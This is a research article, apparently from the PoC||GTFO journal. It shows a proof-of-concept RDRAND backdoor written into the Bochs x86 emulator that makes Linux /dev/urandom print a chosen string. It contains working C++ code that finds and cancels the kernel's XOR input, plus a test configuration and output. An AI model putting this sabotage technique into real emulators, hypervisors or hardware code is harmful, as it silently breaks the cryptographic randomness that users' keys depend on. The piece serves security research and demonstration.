6 Prototyping an RDRAND Backdoor in Bochs

by Taylor Hornby

What happens to the Linux cryptographic random number generator when we assume Intel's fancy new RDRAND instruction is malicious? According to dozens of clueless Slashdot comments, it wouldn't matter, because Linux tosses the output of RDRAND into the entropy pool with a bunch of other sources, and those sources are good enough to stand on their own.

I can't speak to whether RDRAND *is* backdoored, but I can—and I do!—say that it *can be* backdoored. In the finest tradition of this journal, I will demonstrate a proof of concept backdoor to the RDRAND instruction on the Bochs emulator that cripples /dev/urandom on recent Linux distributions. Implementing this same behavior as a microcode update is left as an exercise for clever readers.

Let's download version 3.12.8 of the Linux kernel source code and see how it generates random bytes. Here's part of the `extract_buf()` function in `drivers/char/random.c`, the file that implements both `/dev/random` and `/dev/urandom`.

```
static void extract_buf(struct entropy_store *r, __u8 *out){
        // ... hash the pool and other stuff ...
        /* If we have a architectural hardware random number
         * generator, mix that in, too. */
        for (i = 0; i < LONGS(EXTRACT_SIZE); i++) {
                unsigned long v;
                if (!arch_get_random_long(&v))
                        break;
                hash.l[i] ^= v;
        }
        memcpy(out, &hash, EXTRACT_SIZE);
        memset(&hash, 0, sizeof(hash));
}
```

This function does some tricky SHA1 hashing stuff to the entropy pool, then XORs RDRAND's output with the hash before returning it. That `arch_get_random_long()` call is RDRAND. What this function returns is what you get when you read from `/dev/(u)random`.

What could possibly be wrong with this? If the hash is random, then it shouldn't matter whether RDRAND output is random or not, since the result will still be random, right?

That's true in theory, but the hash value is in memory when the RDRAND instruction executes, so theoretically, it could find it, then return its inverse so the XOR cancels out to ones. Let's see if we can do that.

First, let's look at the X86 disassembly to see what our modified RDRAND instruction would need to do.

```
c03a_4c80:       89 d9                   mov    ecx,ebx
c03a_4c82:       b9 00 00 00 00          mov    ecx,0x0         ; \__These become
c03a_4c87:       8d 76 00                lea    esi,[esi+0x0]   ; /  "rdrand eax"
c03a_4c8a:       85 c9                   test   ecx,ecx
c03a_4c8c:       74 09                   je     c03a4c97
c03a_4c8e:       31 02                   xor    DWORD PTR [edx],eax
c03a_4c90:       83 c2 04                add    edx,0x4
c03a_4c93:       39 f2                   cmp    edx,esi
c03a_4c95:       75 e9                   jne    c03a4c80
```

That `mov ecx, 0`, `lea esi [esi+0x0]` code gets replaced with `rdrand eax` at runtime by the alternatives system. See `arch/x86/include/asm/archrandom.h` and `arch/x86/include/asm/alternative.h` for details.

Sometimes things work out a little differently, and it's best to be prepared for that. For example if the kernel is compiled with `CONFIG_CC_OPTIMIZE_FOR_SIZE=y`, then the call to `arch_get_random_long()` isn't inlined. In that case, it will look a little something like this.

```
c030_76e6:       39 fb                cmp    ebx,edi
c030_76e8:       74 18                je     c0307702
c030_76ea:       8d 44 24 0c          lea    eax,[esp+0xc]
c030_76ee:       e8 cd fc ff ff       call   c03073c0
c030_76f3:       85 c0                test   eax,eax
c030_76f5:       74 0b                je     c0307702
c030_76f7:       8b 44 24 0c          mov    eax,DWORD PTR [esp+0xc]
c030_76fb:       31 03                xor    DWORD PTR [ebx],eax
c030_76fd:       83 c3 04             add    ebx,0x4
c030_7700:       eb e4                jmp    c03076e6
```

Not to worry, though, since all cases that I've encountered have one thing in common. There's always a register pointing to the buffer on the stack. So a malicious RDRAND instruction would just have to find a register pointing to somewhere on the stack, read the value it's pointing to, and that's what the RDRAND output will be XORed with. That's exactly what our PoC will do.

I don't have a clue how to build my own physical X86 CPU with a modified RDRAND, so let's use the Bochs X86 emulator to change RDRAND. Use the current source from SVN since the most recent stable version as I write this, 2.6.2, has some bugs that will get in our way.

All of the instructions in Bochs are implemented in C++ code, and we can find the RDRAND instruction's implementation in `cpu/rdrand.cc`. It's the `BX_CPU_C::RDRAND_Ed()` function. Let's replace it with a malicious implementation, one that sabotages the kernel, and only the kernel, when it tries to produce random numbers.

```
BX_INSF_TYPE BX_CPP_AttrRegparmN(1) BX_CPU_C::RDRAND_Ed(bxInstruction_c *i){
    Bit32u rdrand_output = 0;
    Bit32u xor_with = 0;

    Bit32u ebx = get_reg32(BX_32BIT_REG_EBX);
    Bit32u edx = get_reg32(BX_32BIT_REG_EDX);
    Bit32u edi = get_reg32(BX_32BIT_REG_EDI);
    Bit32u esp = get_reg32(BX_32BIT_REG_ESP);

    const char output_string[] = "PoC||GTFO!\n";
    static int position = 0;

    Bit32u addr = 0;
    static Bit32u last_addr = 0;
    static Bit32u second_last_addr = 0;

    /* We only want to change RDRAND's output if it's being used for the
     * vulnerable XOR in extract_buf(). This only happens in Ring 0.
     */
    if (CPL == 0) {
        /* The address of the value our output will get XORed with is
         * pointed to by one of the registers, and is somewhere on the
         * stack. We can use that to tell if we're being executed in
         * extract_buf() or somewhere else in the kernel. Obviously, the
```

```
 * exact registers will vary depending on the compiler, so we
 * have to account for a few different possibilities. It's not
 * perfect, but hey, this is a POC.
 *
 * This has been tested on, and works, with 32-bit versions of
 *  - Tiny Core Linux 5.1
 *  - Arch Linux 2013.12.01 (booting from cd)
 *  - Debian Testing i386 (retrieved December 6, 2013)
 *  - Fedora 19.1
 */
if (esp <= edx && edx <= esp + 256) {
    addr = edx;
} else if (esp <= edi && edi <= esp + 256
           && esp <= ebx && ebx <= esp + 256) {
    /* With CONFIG_CC_OPTIMIZE_FOR_SIZE=y, either:
     *  - EBX points to the current index,
     *      EDI points to the end of the array.
     *  - EDI points to the current index,
     *      EBX points to the end of the array.
     * To distinguish the two, we have to compare them.
     */
    if (edi <= ebx) {
        addr = edi;
    } else {
        addr = ebx;
    }
} else {
    /* It's not extract_buf(), so cancel the backdooring. */
    goto do_not_backdoor;
}

/* Read the value that our output will be XORed with. */
xor_with = read_virtual_dword(BX_SEG_REG_DS, addr);

Bit32u urandom_output = 0;
Bit32u advance_length = 4;
Bit32u extra_shift = 0;

/* Only the first two bytes get used on the third RDRAND
 * execution. */
if (addr == last_addr + 4 && last_addr == second_last_addr + 4){
    advance_length = 2;
    extra_shift = 16;
}

/* Copy the next portion of the string into the output. */
for (int i = 0; i < advance_length; i++) {
    /* The characters must be added backwards, because little
     * endian. */
    urandom_output >>= 8;
    urandom_output |= output_string[position++] << 24;
    if (position >= strlen(output_string)) {
        position = 0;
    }
}
urandom_output >>= extra_shift;
```

```
        second_last_addr = last_addr;
        last_addr = addr;

        rdrand_output = xor_with ^ urandom_output;

    } else {
do_not_backdoor:
        /* Normally, RDRAND would produce good random output. */
        rdrand_output |= rand() & 0xff;
        rdrand_output <<= 8;
        rdrand_output |= rand() & 0xff;
        rdrand_output <<= 8;
        rdrand_output |= rand() & 0xff;
        rdrand_output <<= 8;
        rdrand_output |= rand() & 0xff;
    }

    BX_WRITE_32BIT_REGZ(i->dst(), rdrand_output);
    setEFlagsOSZAPC(EFlagsCFMask);

    BX_NEXT_INSTR(i);
}
```

After you've made that patch and compiled Bochs, download Tiny Core Linux to test it. Here's a sample configuration to ensure that a CPU with RDRAND support is emulated.

```
# System configuration.
romimage: file=$BXSHARE/BIOS-bochs-latest
vgaromimage: file=$BXSHARE/VGABIOS-lgpl-latest
cpu: model=corei7_ivy_bridge_3770k, ips=120000000
clock: sync=slowdown
megs: 1024
boot: cdrom, disk

# CDROM
ata1: enabled=1, ioaddr1=0x170, ioaddr2=0x370, irq=15
ata1-master: type=cdrom, path="CorePlus-current.iso", status=inserted
```

Boot it, then cat /dev/urandom to check the kernel's random number generation.

```
tc@box:~$ cat /dev/urandom | head
PoC||GTFO!
PoC||GTFO!
PoC||GTFO!
PoC||GTFO!
PoC||GTFO!
PoC||GTFO!
PoC||GTFO!
PoC||GTFO!
PoC||GTFO!
PoC||GTFO!
```